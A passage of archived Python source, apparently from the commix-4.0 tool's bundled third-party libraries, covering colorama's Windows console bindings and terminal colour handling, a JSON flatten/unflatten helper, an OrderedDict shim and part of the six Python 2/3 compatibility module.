("dwCursorPosition", COORD),
("wAttributes", wintypes.WORD),
("srWindow", wintypes.SMALL_RECT),
("dwMaximumWindowSize", COORD),
]
def __str__(self):
return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % (
self.dwSize.Y, self.dwSize.X
, self.dwCursorPosition.Y, self.dwCursorPosition.X
, self.wAttributes
, self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right
, self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X
)
_GetStdHandle = windll.kernel32.GetStdHandle
_GetStdHandle.argtypes = [
wintypes.DWORD,
]
_GetStdHandle.restype = wintypes.HANDLE
_GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo
_GetConsoleScreenBufferInfo.argtypes = [
wintypes.HANDLE,
POINTER(CONSOLE_SCREEN_BUFFER_INFO),
]
_GetConsoleScreenBufferInfo.restype = wintypes.BOOL
_SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute
_SetConsoleTextAttribute.argtypes = [
wintypes.HANDLE,
wintypes.WORD,
]
_SetConsoleTextAttribute.restype = wintypes.BOOL
_SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition
_SetConsoleCursorPosition.argtypes = [
wintypes.HANDLE,
COORD,
]
_SetConsoleCursorPosition.restype = wintypes.BOOL
_FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA
_FillConsoleOutputCharacterA.argtypes = [
wintypes.HANDLE,
c_char,
wintypes.DWORD,
COORD,
POINTER(wintypes.DWORD),
]
_FillConsoleOutputCharacterA.restype = wintypes.BOOL
_FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute
_FillConsoleOutputAttribute.argtypes = [
wintypes.HANDLE,
wintypes.WORD,
wintypes.DWORD,
COORD,
POINTER(wintypes.DWORD),
]
_FillConsoleOutputAttribute.restype = wintypes.BOOL
_SetConsoleTitleW = windll.kernel32.SetConsoleTitleW
_SetConsoleTitleW.argtypes = [
wintypes.LPCWSTR
]
_SetConsoleTitleW.restype = wintypes.BOOL
handles = {
STDOUT: _GetStdHandle(STDOUT),
STDERR: _GetStdHandle(STDERR),
}
def _winapi_test(handle):
csbi = CONSOLE_SCREEN_BUFFER_INFO()
success = _GetConsoleScreenBufferInfo(
handle, byref(csbi))
return bool(success)
def winapi_test():
return any(_winapi_test(h) for h in handles.values())
def GetConsoleScreenBufferInfo(stream_id=STDOUT):
handle = handles[stream_id]
csbi = CONSOLE_SCREEN_BUFFER_INFO()
success = _GetConsoleScreenBufferInfo(
handle, byref(csbi))
return csbi
def SetConsoleTextAttribute(stream_id, attrs):
handle = handles[stream_id]
return _SetConsoleTextAttribute(handle, attrs)
def SetConsoleCursorPosition(stream_id, position, adjust=True):
position = COORD(*position)
# If the position is out of range, do nothing.
if position.Y <= 0 or position.X <= 0:
return
# Adjust for Windows' SetConsoleCursorPosition:
# 1. being 0-based, while ANSI is 1-based.
# 2. expecting (x,y), while ANSI uses (y,x).
adjusted_position = COORD(position.Y - 1, position.X - 1)
if adjust:
# Adjust for viewport's scroll position
sr = GetConsoleScreenBufferInfo(STDOUT).srWindow
adjusted_position.Y += sr.Top
adjusted_position.X += sr.Left
# Resume normal processing
handle = handles[stream_id]
return _SetConsoleCursorPosition(handle, adjusted_position)
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
def FillConsoleOutputAttribute(stream_id, attr, length, start):
''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )'''
handle = handles[stream_id]
attribute = wintypes.WORD(attr)
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
return _FillConsoleOutputAttribute(
handle, attribute, length, start, byref(num_written))
def SetConsoleTitle(title):
return _SetConsoleTitleW(title)
commix-4.0/src/thirdparty/colorama/winterm.py 0000664 0000000 0000000 00000014446 14731205621 0021500 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
from . import win32
# from wincon.h
class WinColor(object):
BLACK = 0
BLUE = 1
GREEN = 2
CYAN = 3
RED = 4
MAGENTA = 5
YELLOW = 6
GREY = 7
# from wincon.h
class WinStyle(object):
NORMAL = 0x00 # dim text, dim background
BRIGHT = 0x08 # bright text, dim background
BRIGHT_BACKGROUND = 0x80 # dim text, bright background
class WinTerm(object):
def __init__(self):
self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes
self.set_attrs(self._default)
self._default_fore = self._fore
self._default_back = self._back
self._default_style = self._style
# In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style.
# So that LIGHT_EX colors and BRIGHT style do not clobber each other,
# we track them separately, since LIGHT_EX is overwritten by Fore/Back
# and BRIGHT is overwritten by Style codes.
self._light = 0
def get_attrs(self):
return self._fore + self._back * 16 + (self._style | self._light)
def set_attrs(self, value):
self._fore = value & 7
self._back = (value >> 4) & 7
self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND)
def reset_all(self, on_stderr=None):
self.set_attrs(self._default)
self.set_console(attrs=self._default)
self._light = 0
def fore(self, fore=None, light=False, on_stderr=False):
if fore is None:
fore = self._default_fore
self._fore = fore
# Emulate LIGHT_EX with BRIGHT Style
if light:
self._light |= WinStyle.BRIGHT
else:
self._light &= ~WinStyle.BRIGHT
self.set_console(on_stderr=on_stderr)
def back(self, back=None, light=False, on_stderr=False):
if back is None:
back = self._default_back
self._back = back
# Emulate LIGHT_EX with BRIGHT_BACKGROUND Style
if light:
self._light |= WinStyle.BRIGHT_BACKGROUND
else:
self._light &= ~WinStyle.BRIGHT_BACKGROUND
self.set_console(on_stderr=on_stderr)
def style(self, style=None, on_stderr=False):
if style is None:
style = self._default_style
self._style = style
self.set_console(on_stderr=on_stderr)
def set_console(self, attrs=None, on_stderr=False):
if attrs is None:
attrs = self.get_attrs()
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
win32.SetConsoleTextAttribute(handle, attrs)
def get_position(self, handle):
position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition
# Because Windows coordinates are 0-based,
# and win32.SetConsoleCursorPosition expects 1-based.
position.X += 1
position.Y += 1
return position
def set_cursor_position(self, position=None, on_stderr=False):
if position is None:
# I'm not currently tracking the position, so there is no default.
# position = self.get_position()
return
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
win32.SetConsoleCursorPosition(handle, position)
def cursor_adjust(self, x, y, on_stderr=False):
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
position = self.get_position(handle)
adjusted_position = (position.Y + y, position.X + x)
win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False)
def erase_screen(self, mode=0, on_stderr=False):
# 0 should clear from the cursor to the end of the screen.
# 1 should clear from the cursor to the beginning of the screen.
# 2 should clear the entire screen, and move cursor to (1,1)
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
csbi = win32.GetConsoleScreenBufferInfo(handle)
# get the number of character cells in the current buffer
cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y
# get number of character cells before current cursor position
cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X
if mode == 0:
from_coord = csbi.dwCursorPosition
cells_to_erase = cells_in_screen - cells_before_cursor
elif mode == 1:
from_coord = win32.COORD(0, 0)
cells_to_erase = cells_before_cursor
elif mode == 2:
from_coord = win32.COORD(0, 0)
cells_to_erase = cells_in_screen
else:
# invalid mode
return
# fill the entire screen with blanks
win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)
# now set the buffer's attributes accordingly
win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)
if mode == 2:
# put the cursor where needed
win32.SetConsoleCursorPosition(handle, (1, 1))
def erase_line(self, mode=0, on_stderr=False):
# 0 should clear from the cursor to the end of the line.
# 1 should clear from the cursor to the beginning of the line.
# 2 should clear the entire line.
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
csbi = win32.GetConsoleScreenBufferInfo(handle)
if mode == 0:
from_coord = csbi.dwCursorPosition
cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X
elif mode == 1:
from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)
cells_to_erase = csbi.dwCursorPosition.X
elif mode == 2:
from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)
cells_to_erase = csbi.dwSize.X
else:
# invalid mode
return
# fill the entire screen with blanks
win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)
# now set the buffer's attributes accordingly
win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)
def set_title(self, title):
win32.SetConsoleTitle(title)
commix-4.0/src/thirdparty/flatten_json/ 0000775 0000000 0000000 00000000000 14731205621 0020321 5 ustar 00root root 0000000 0000000 commix-4.0/src/thirdparty/flatten_json/__init__.py 0000664 0000000 0000000 00000000316 14731205621 0022432 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
Flattens JSON objects in Python.
flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table.
"""
pass commix-4.0/src/thirdparty/flatten_json/flatten_json.py 0000664 0000000 0000000 00000013761 14731205621 0023371 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Flattens JSON objects in Python.
flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table.
https://github.com/amirziai/flatten
"""
from src.utils import settings
from src.thirdparty.odict import OrderedDict
from src.thirdparty.six.moves import collections_abc as _collections
def check_if_numbers_are_consecutive(list_):
"""
Returns True if numbers in the list are consecutive
:param list_: list of integers
:return: Boolean
"""
return all([True if second - first == 1 else False
for first, second in zip(list_[:-1], list_[1:])])
def _construct_key(previous_key, separator, new_key):
"""
Returns the new_key if no previous key exists, otherwise concatenates previous key, separator, and new_key
:param previous_key:
:param separator:
:param new_key:
:return: a string if previous_key exists and simply passes through the new_key otherwise
"""
if previous_key:
return "{}{}{}".format(previous_key, separator, new_key)
else:
return new_key
def flatten(nested_dict, separator=settings.FLATTEN_JSON_SEPARATOR, root_keys_to_ignore=""):
"""
Flattens a dictionary with nested structure to a dictionary with no hierarchy
Consider ignoring keys that you are not interested in to prevent unnecessary processing
This is specially true for very deep objects
:param nested_dict: dictionary we want to flatten
:param separator: string to separate dictionary keys by
:param root_keys_to_ignore: set of root keys to ignore from flattening
:return: flattened dictionary
"""
try:
assert isinstance(separator, str), "Separator must be a string"
# assert isinstance(nested_dict, dict), "The flatten() requires a dictionary input."
except AssertionError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# This global dictionary stores the flattened keys and values and is ultimately returned
flattened_dict = OrderedDict()
def _flatten(object_, key):
"""
For dict, list and set objects_ calls itself on the elements and for other types assigns the object_ to
the corresponding key in the global flattened_dict
:param object_: object to flatten
:param key: carries the concatenated key for the object_
:return: None
"""
if isinstance(object_, dict):
for object_key in object_:
if not (not key and object_key in root_keys_to_ignore):
_flatten(object_[object_key], _construct_key(key, separator, object_key))
elif isinstance(object_, list) or isinstance(object_, set):
for index, item in enumerate(object_):
_flatten(item, _construct_key(key, separator, index))
else:
flattened_dict[key] = object_
_flatten(nested_dict, None)
return flattened_dict
flatten_json = flatten
def _unflatten_asserts(flat_dict, separator):
try:
assert isinstance(separator, str), "Separator must be a string."
# assert isinstance(flat_dict, dict), "The unflatten() requires a dictionary input."
# assert all(isinstance(value, (bool, float, int, str)) for value in flat_dict.values()), "The provided dictionary is not flat."
except AssertionError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
def unflatten(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR):
"""
Creates a hierarchical dictionary from a flattened dictionary
Assumes no lists are present
:param flat_dict: a dictionary with no hierarchy
:param separator: a string that separates keys
:return: a dictionary with hierarchy
"""
_unflatten_asserts(flat_dict, separator)
# This global dictionary is mutated and returned
unflattened_dict = OrderedDict()
def _unflatten(dic, keys, value):
for key in keys[:-1]:
# dic = dic.setdefault(key, {})
dic = dic.setdefault(key, {})
dic[keys[-1]] = value
for item in flat_dict:
_unflatten(unflattened_dict, item.split(separator), flat_dict[item])
return unflattened_dict
def unflatten_list(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR):
"""
Unflattens a dictionary, first assuming no lists exist and then tries to identify lists and replaces them
This is probably not very efficient and has not been tested extensively
Feel free to add test cases or rewrite the logic
Issues that stand out to me:
- Sorting all the keys in the dictionary, which specially for the root dictionary can be a lot of keys
- Checking that numbers are consecutive is O(N) in number of keys
:param flat_dict: dictionary with no hierarchy
:param separator: a string that separates keys
:return: a dictionary with hierarchy
"""
_unflatten_asserts(flat_dict, separator)
# First unflatten the dictionary assuming no lists exist
unflattened_dict = unflatten(flat_dict, separator)
def _convert_dict_to_list(object_, parent_object, parent_object_key):
if isinstance(object_, dict):
try:
keys = [int(key) for key in object_]
keys.sort()
except (ValueError, TypeError):
keys = []
keys_len = len(keys)
if (keys_len > 0 and sum(keys) == int(((keys_len - 1) * keys_len) / 2) and keys[0] == 0 and
keys[-1] == keys_len - 1 and check_if_numbers_are_consecutive(keys)):
# The dictionary looks like a list so we're going to replace it as one
parent_object[parent_object_key] = [object_[str(key)] for key in keys]
for key in object_:
if isinstance(object_[key], dict):
_convert_dict_to_list(object_[key], object_, key)
_convert_dict_to_list(unflattened_dict, None, None)
return unflattened_dict
commix-4.0/src/thirdparty/odict/ 0000775 0000000 0000000 00000000000 14731205621 0016735 5 ustar 00root root 0000000 0000000 commix-4.0/src/thirdparty/odict/__init__.py 0000664 0000000 0000000 00000000340 14731205621 0021043 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
import sys
if sys.version_info[:2] >= (2, 7):
from collections import OrderedDict
else:
from src.thirdparty.six.moves import collections_abc as _collections
from _collections import OrderedDict
commix-4.0/src/thirdparty/six/ 0000775 0000000 0000000 00000000000 14731205621 0016436 5 ustar 00root root 0000000 0000000 commix-4.0/src/thirdparty/six/__init__.py 0000664 0000000 0000000 00000103425 14731205621 0020554 0 ustar 00root root 0000000 0000000 # Copyright (c) 2010-2020 Benjamin Peterson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""Utilities for writing code that runs on Python 2 and 3"""
from __future__ import absolute_import
import functools
import itertools
import operator
import sys
import types
__author__ = "Benjamin Peterson <benjamin@python.org>"
__version__ = "1.16.0"
# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
PY34 = sys.version_info[0:2] >= (3, 4)
if PY3:
string_types = str,
integer_types = int,
class_types = type,
text_type = str
binary_type = bytes
MAXSIZE = sys.maxsize
else:
string_types = basestring,
integer_types = (int, long)
class_types = (type, types.ClassType)
text_type = unicode
binary_type = str
if sys.platform.startswith("java"):
# Jython always uses 32 bits.
MAXSIZE = int((1 << 31) - 1)
else:
# It's possible to have sizeof(long) != sizeof(Py_ssize_t).
class X(object):
def __len__(self):
return 1 << 31
try:
len(X())
except OverflowError:
# 32-bit
MAXSIZE = int((1 << 31) - 1)
else:
# 64-bit
MAXSIZE = int((1 << 63) - 1)
del X
if PY34:
from importlib.util import spec_from_loader
else:
spec_from_loader = None
def _add_doc(func, doc):
"""Add documentation to a function."""
func.__doc__ = doc
def _import_module(name):
"""Import module, returning the module after the last dot."""
__import__(name)
return sys.modules[name]
class _LazyDescr(object):
def __init__(self, name):
self.name = name
def __get__(self, obj, tp):
result = self._resolve()
setattr(obj, self.name, result) # Invokes __set__.
try:
# This is a bit ugly, but it avoids running this again by
# removing this descriptor.
delattr(obj.__class__, self.name)
except AttributeError:
pass
return result
class MovedModule(_LazyDescr):
def __init__(self, name, old, new=None):
super(MovedModule, self).__init__(name)
if PY3:
if new is None:
new = name
self.mod = new
else:
self.mod = old
def _resolve(self):
return _import_module(self.mod)
def __getattr__(self, attr):
_module = self._resolve()
value = getattr(_module, attr)
setattr(self, attr, value)
return value
class _LazyModule(types.ModuleType):
def __init__(self, name):
super(_LazyModule, self).__init__(name)
self.__doc__ = self.__class__.__doc__
def __dir__(self):
attrs = ["__doc__", "__name__"]
attrs += [attr.name for attr in self._moved_attributes]
return attrs
# Subclasses should override this
_moved_attributes = []
class MovedAttribute(_LazyDescr):
def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
super(MovedAttribute, self).__init__(name)
if PY3:
if new_mod is None:
new_mod = name
self.mod = new_mod
if new_attr is None:
if old_attr is None:
new_attr = name
else:
new_attr = old_attr
self.attr = new_attr
else:
self.mod = old_mod
if old_attr is None:
old_attr = name
self.attr = old_attr
def _resolve(self):
module = _import_module(self.mod)
return getattr(module, self.attr)
class _SixMetaPathImporter(object):
"""
A meta path importer to import six.moves and its submodules.
This class implements a PEP302 finder and loader. It should be compatible
with Python 2.5 and all existing versions of Python3
"""
def __init__(self, six_module_name):
self.name = six_module_name
self.known_modules = {}
def _add_module(self, mod, *fullnames):
for fullname in fullnames:
self.known_modules[self.name + "." + fullname] = mod
def _get_module(self, fullname):
return self.known_modules[self.name + "." + fullname]
def find_module(self, fullname, path=None):
if fullname in self.known_modules:
return self
return None
def find_spec(self, fullname, path, target=None):
if fullname in self.known_modules:
return spec_from_loader(fullname, self)
return None
def __get_module(self, fullname):
try:
return self.known_modules[fullname]
except KeyError:
raise ImportError("This loader does not know module " + fullname)
def load_module(self, fullname):
try:
# in case of a reload
return sys.modules[fullname]
except KeyError:
pass
mod = self.__get_module(fullname)
if isinstance(mod, MovedModule):
mod = mod._resolve()
else:
mod.__loader__ = self
sys.modules[fullname] = mod
return mod
def is_package(self, fullname):
"""
Return true, if the named module is a package.
We need this method to get correct spec objects with
Python 3.4 (see PEP451)
"""
return hasattr(self.__get_module(fullname), "__path__")
def get_code(self, fullname):
"""Return None
Required, if is_package is implemented"""
self.__get_module(fullname) # eventually raises ImportError
return None
get_source = get_code # same as get_code
def create_module(self, spec):
return self.load_module(spec.name)
def exec_module(self, module):
pass
_importer = _SixMetaPathImporter(__name__)
class _MovedItems(_LazyModule):
"""Lazy loading of moved objects"""
__path__ = [] # mark as package
_moved_attributes = [
MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"),
MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
MovedAttribute("intern", "__builtin__", "sys"),
MovedAttribute("map", "itertools", "builtins", "imap", "map"),
MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"),
MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"),
MovedAttribute("getoutput", "commands", "subprocess"),
MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"),
MovedAttribute("reduce", "__builtin__", "functools"),
MovedAttribute("shlex_quote", "pipes", "shlex", "quote"),
MovedAttribute("StringIO", "StringIO", "io"),
MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"),
MovedAttribute("UserList", "UserList", "collections"),
MovedAttribute("UserString", "UserString", "collections"),
MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
MovedModule("builtins", "__builtin__"),
MovedModule("configparser", "ConfigParser"),
MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"),
MovedModule("copyreg", "copy_reg"),
MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"),
MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"),
MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
MovedModule("http_cookies", "Cookie", "http.cookies"),
MovedModule("html_entities", "htmlentitydefs", "html.entities"),
MovedModule("html_parser", "HTMLParser", "html.parser"),
MovedModule("http_client", "httplib", "http.client"),
MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"),
MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"),
MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"),
MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
MovedModule("cPickle", "cPickle", "pickle"),
MovedModule("queue", "Queue"),
MovedModule("reprlib", "repr"),
MovedModule("socketserver", "SocketServer"),
MovedModule("_thread", "thread", "_thread"),
MovedModule("tkinter", "Tkinter"),
MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"),
MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"),
MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"),
MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
MovedModule("tkinter_colorchooser", "tkColorChooser",
"tkinter.colorchooser"),
MovedModule("tkinter_commondialog", "tkCommonDialog",
"tkinter.commondialog"),
MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
MovedModule("tkinter_font", "tkFont", "tkinter.font"),
MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
"tkinter.simpledialog"),
MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"),
MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"),
MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"),
MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"),
MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"),
]
# Add windows specific modules.
if sys.platform == "win32":
_moved_attributes += [
MovedModule("winreg", "_winreg"),
]
for attr in _moved_attributes:
setattr(_MovedItems, attr.name, attr)
if isinstance(attr, MovedModule):
_importer._add_module(attr, "moves." + attr.name)
del attr
_MovedItems._moved_attributes = _moved_attributes
moves = _MovedItems(__name__ + ".moves")
_importer._add_module(moves, "moves")
class Module_six_moves_urllib_parse(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_parse"""
_urllib_parse_moved_attributes = [
MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
MovedAttribute("SplitResult", "urlparse", "urllib.parse"),
MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
MovedAttribute("urljoin", "urlparse", "urllib.parse"),
MovedAttribute("urlparse", "urlparse", "urllib.parse"),
MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
MovedAttribute("quote", "urllib", "urllib.parse"),
MovedAttribute("quote_plus", "urllib", "urllib.parse"),
MovedAttribute("unquote", "urllib", "urllib.parse"),
MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"),
MovedAttribute("urlencode", "urllib", "urllib.parse"),
MovedAttribute("splitquery", "urllib", "urllib.parse"),
MovedAttribute("splittag", "urllib", "urllib.parse"),
MovedAttribute("splituser", "urllib", "urllib.parse"),
MovedAttribute("splitvalue", "urllib", "urllib.parse"),
MovedAttribute("uses_fragment", "urlparse", "urllib.parse"),
MovedAttribute("uses_netloc", "urlparse", "urllib.parse"),
MovedAttribute("uses_params", "urlparse", "urllib.parse"),
MovedAttribute("uses_query", "urlparse", "urllib.parse"),
MovedAttribute("uses_relative", "urlparse", "urllib.parse"),
]
for attr in _urllib_parse_moved_attributes:
setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr
Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes
_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"),
"moves.urllib_parse", "moves.urllib.parse")
class Module_six_moves_urllib_error(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_error"""
_urllib_error_moved_attributes = [
MovedAttribute("URLError", "urllib2", "urllib.error"),
MovedAttribute("HTTPError", "urllib2", "urllib.error"),
MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
]
for attr in _urllib_error_moved_attributes:
setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr
Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes
_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"),
"moves.urllib_error", "moves.urllib.error")
class Module_six_moves_urllib_request(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_request"""
_urllib_request_moved_attributes = [
MovedAttribute("urlopen", "urllib2", "urllib.request"),
MovedAttribute("install_opener", "urllib2", "urllib.request"),
MovedAttribute("build_opener", "urllib2", "urllib.request"),
MovedAttribute("pathname2url", "urllib", "urllib.request"),
MovedAttribute("url2pathname", "urllib", "urllib.request"),
MovedAttribute("getproxies", "urllib", "urllib.request"),
MovedAttribute("Request", "urllib2", "urllib.request"),
MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"),
MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
MovedAttribute("FileHandler", "urllib2", "urllib.request"),
MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
MovedAttribute("urlretrieve", "urllib", "urllib.request"),
MovedAttribute("urlcleanup", "urllib", "urllib.request"),
MovedAttribute("URLopener", "urllib", "urllib.request"),
MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
MovedAttribute("proxy_bypass", "urllib", "urllib.request"),
MovedAttribute("parse_http_list", "urllib2", "urllib.request"),
MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"),
]
for attr in _urllib_request_moved_attributes:
setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr
Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes
_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"),
"moves.urllib_request", "moves.urllib.request")
class Module_six_moves_urllib_response(_LazyModule):
"""Lazy loading of moved objects in six.moves.urllib_response"""
_urllib_response_moved_attributes = [
MovedAttribute("addbase", "urllib", "urllib.response"),
MovedAttribute("addclosehook", "urllib", "urllib.response"),
MovedAttribute("addinfo", "urllib", "urllib.response"),
MovedAttribute("addinfourl", "urllib", "urllib.response"),
]
for attr in _urllib_response_moved_attributes:
setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr
Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes
